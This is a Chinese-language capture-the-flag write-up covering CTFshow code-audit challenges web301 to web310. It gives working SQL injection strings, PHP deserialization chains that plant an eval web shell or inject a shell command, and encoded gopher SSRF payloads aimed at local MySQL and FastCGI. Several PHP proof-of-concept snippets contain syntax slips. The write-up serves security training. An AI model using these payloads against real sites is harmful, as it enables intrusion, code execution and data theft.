CTFshow代码审计

web301

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
error_reporting(0);
session_start();
require 'conn.php';
$_POST['userid']=!empty($_POST['userid'])?$_POST['userid']:"";
$_POST['userpwd']=!empty($_POST['userpwd'])?$_POST['userpwd']:"";
$username=$_POST['userid'];
$userpwd=$_POST['userpwd'];
$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;";
$result=$mysqli->query($sql);
$row=$result->fetch_array(MYSQLI_BOTH);
if($result->num_rows<1){
$_SESSION['error']="1";
header("location:login.php");
return;
}
if(!strcasecmp($userpwd,$row['sds_password'])){
$_SESSION['login']=1;
$result->free();
$mysqli->close();
header("location:index.php");
return;
}
$_SESSION['error']="1";
header("location:login.php");

很明显

1
$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;";

无过滤得sql注入

sqlmap或者写🐎

1
2
1 union select 1#
1

进去发现flag

web302

还是一样的源码不一样的是这个地方

1
if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){

可以看到$row['sds_password']sds_decode($userpwd)作比较,就是说让你传入的密码经过sds_decode()这个函数处理后的结果一样就可以了。

源码里有这个函数

1
2
3
4
5
6
7
<?php
function sds_decode($str){
return md5(md5($str.md5(base64_encode("sds")))."sds");
}
echo sds_decode(1);
//d9c77c4e454869d5d8da3b4be79694d3
?>

捏进去

1
2
1' union select "d9c77c4e454869d5d8da3b4be79694d3" #
1

web303

这次多了几个文件

image-20211202110753652

看一下发现

image-20211202110815728

这是一个添加信息的

突然又发现

image-20211202110845317

但是没啥用,解不开。

再看看我们之前的这个点哈,这次限制了字符要小于6,那这个地方利用不成了,看看新添加的那个。

image-20211202110916188

好家伙直接告诉你这是个注入点?

无过滤的insert注入,搞吧,但是这个页面必须要先登录进去。。。。

image-20211202111039836

然后我去fun.php里试了试123456、88888,发现返还的值不对,再试了个admin,对照上了。

image-20211202111420170

注入后可以在dpt.php查看

1
2
3
4
5
dpt_name=1',sds_address=(select group_concat(table_name) from information_schema.tables where table_schema=database()) #
==>>
dpt_name=1',sds_address =(select group_concat(column_name) from information_schema.columns where table_name='sds_fl9g')#
==>>
dpt_name=1',sds_address =(select flag from sds_fl9g) #

image-20211202111436422

web304

加了个全局waf

1
2
3
function sds_waf($str){ 
return preg_match('/[0-9]|[a-z]|-/i', $str);
}

但是不影响

还是上道题的方法

只不过是表名变了而已

1
2
3
4
5
dpt_name=1',sds_address=(select group_concat(table_name) from information_schema.tables where table_schema=database()) #
==>>
dpt_name=1',sds_address =(select group_concat(column_name) from information_schema.columns where table_name='sds_flaag')#
==>>
dpt_name=1',sds_address =(select flag from sds_flaag) #

image-20211202114933748

web305

SQL注入被ban了。。。

image-20211202153830049

看看别的吧

image-20211202153908577

有个反序列化的洞,直接写文件,找一下利用点在呢。

找到了

image-20211202154009482

直接搞一下

image-20211202154034589

蚁剑连上连sql,但是注意一点,下载的源码的连接密码是假的,在蚁剑里找一下新的连接密码。

image-20211202154131762

image-20211202154204949

image-20211202153516550

web306

MVC结构

还是分析源码,这里log类可以写文件,但是必须调用close()方法

image-20211202163752928

搜索一下,发现两个

image-20211202163843426

这个得登录进去才能搞,不行

image-20211202163916470

完美,再找一下可以反序列化的地方

image-20211202164054549

ok开始捏POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class log{
public $title='1.php';
public $info='<?php eval($_POST[0]);?>';
}
class dao{
private $conn;

public function __construct(){
$this->conn=new log();
}
}
echo base64_encode(serialize(new dao()));
?>

web307

上一题的方法又不行了,这个方法没有类能利用,重新找吧

image-20211202192718124

dao.php里找到了这个

image-20211202201347114

查一下调用

image-20211202201804445

可以调用

再看一下拼接

image-20211202201838859

ok开捏

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class config{
public $cache_dir = 'cache/*;cat /var/www/html/flag.php > /var/www/html/2.txt;';
}
class dao
{
private $config;

public function __construct()
{
$this->config = new config();
}
}
echo base64_encode(serialize(new dao()));
?>

web308

与上一题相比,命令执行利用点增加了过滤。输入的内容中只允许存在字母,所以这个利用点我们放弃。

在这里插入图片描述
然后在fun.php处多了个ssrf利用点。

在这里插入图片描述
找具体的调用位置,在dao.php中被调用。我们再来找checkVersion在哪被调用。
在这里插入图片描述
在index.php中存在利用点。跟上一题基本差不多.

在这里插入图片描述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
poc

<?php
class config{
public update_url = 'gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%45%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%61%2e%70%68%70%22%01%00%00%00%01';
}
class dao{
private config;
public function __construct(){
$this->config=new config();
}

}
a=new dao();
echo base64_encode(serialize(a));
?>

具体的值通过gopherus生成
下载地址https://github.com/tarunkant/Gopherus
在这里插入图片描述
把生成的poc传到cookie中,然后就会生成a.php,剩下的就简单了。
在这里插入图片描述

web309

打的不是mysql了,打的是fastcgi.探测是通过gopher协议的延迟判断的
gopher://127.0.0.1:9000
在这里插入图片描述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
poc:

<?php
class config{
public update_url = 'gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%F6%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH58%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3A%04%00%3C%3Fphp%20system%28%27cat%20f%2A%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00';
}
class dao{
private config;
public function __construct(){
$this->config=new config();
}

}
a=new dao();
echo base64_encode(serialize(a));
?>

web310

9000和6379都是关着的。那我们可以试试读下配置文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
poc

<?php
class config{
public update_url = 'file:///etc/nginx/nginx.conf';
}
class dao{
private config;
public function __construct(){
$this->config=new config();
}

}
a=new dao();
echo base64_encode(serialize(a));
?>

得到关键信息

1
2
3
4
5
6
7
8
9
10
server {
listen 4476;
server_name localhost;
root /var/flag;
index index.html;

proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}

接着访问下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
poc

<?php
class config{
public update_url = 'http://127.0.0.1:4476';
}
class dao{
private config;
public function __construct(){
this->config=new config();
}
}
a=new dao();
echo base64_encode(serialize($a));
?>

得到flag,flag需要大家仔细找下。